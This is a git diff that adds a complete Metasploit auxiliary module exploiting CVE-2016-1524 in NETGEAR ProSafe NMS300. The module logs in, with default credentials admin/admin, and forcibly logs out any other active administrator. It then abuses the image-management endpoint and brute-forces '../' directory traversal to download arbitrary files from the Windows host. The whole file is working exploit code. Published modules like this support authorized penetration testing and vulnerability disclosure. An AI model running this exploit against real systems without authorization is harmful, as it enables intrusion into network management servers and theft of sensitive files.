diff --git a/modules/auxiliary/admin/http/netgear_auth_download.rb b/modules/auxiliary/admin/http/netgear_auth_download.rb new file mode 100644 index 0000000000..c79e02e6c4 --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_auth_download.rb @@ -0,0 +1,224 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download', + 'Description' => %q{ + Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. + The application has a file download vulnerability that can be exploited by an + authenticated remote attacker to download any file in the system.. + This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and updated MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2016-1524'], + ['US-CERT-VU', '777024'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30'] + ], + 'DisclosureDate' => 'Feb 4 2016')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, "Application path", '/']), + OptString.new('USERNAME', [true, 'The username to login as', 'admin']), + OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), + OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']), + ], self.class) + + register_advanced_options( + [ + OptInt.new('DEPTH', [false, 'Max depth to traverse', 15]) + ], self.class) + end + + def authenticate + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), + 'method' => 'POST', + 'vars_post' => { + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + 'vars_get' => { 'method' => 'login' } + }) + + if res && res.code == 200 + cookie = res.get_cookies + if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/ + # another admin is logged in, let's kick him out + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), + 'method' => 'POST', + 'cookie' => cookie, + 'vars_post' => { 'singleId' => $1 }, + 'vars_get' => { 'method' => 'loginAgain' } + }) + if res && res.code == 200 && (not res.body.to_s =~ /"success":true/) + return nil + end + end + return cookie + end + return nil + end + + + def download_file (download_path, cookie) + filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img" + begin + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), + 'vars_get' => { + 'method' => 'add' + }, + 'vars_post' => { + 'realName' => download_path, + 'md5' => '', + 'fileName' => filename, + 'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)), + 'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)), + 'deviceType' => rand(999), + 'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)), + 'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10)) + }, + }) + + if res && res.code == 200 && res.body.to_s =~ /"success":true/ + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'), + 'vars_get' => { + 'method' => 'getPageList', + 'type' => 'configImgManager', + }, + 'vars_post' => { + 'everyPage' => 500 + rand(999) + }, + }) + + if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/ + image_id = $1 + return send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), + 'method' => 'GET', + 'cookie' => cookie, + 'vars_get' => { + 'method' => 'export', + 'imageId' => image_id + } + }) + end + end + return nil + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + end + + + def save_file(filedata) + vprint_line(filedata.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'netgear.http', + 'application/octet-stream', + datastore['RHOST'], + filedata, + fname + ) + print_good("File saved in: #{path}") + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'netgear', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + + def run + cookie = authenticate + if cookie == nil + fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.") + else + print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.") + report_cred( + user: datastore['USERNAME'], + password: datastore['PASSWORD'], + proof: cookie + ) + end + + if datastore['FILEPATH'].blank? + fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.") + return + end + + filepath = datastore['FILEPATH'] + res = download_file(filepath, cookie) + if res && res.code == 200 + if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) + save_file(res.body) + return + end + end + + print_error("#{peer} - File not found, using bruteforce to attempt to download the file") + count = 1 + while count < datastore['DEPTH'] + res = download_file(("../" * count).chomp('/') + filepath, cookie) + if res && res.code == 200 + if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) + save_file(res.body) + return + end + end + count += 1 + end + + print_error("#{peer} - Failed to download file.") + end +end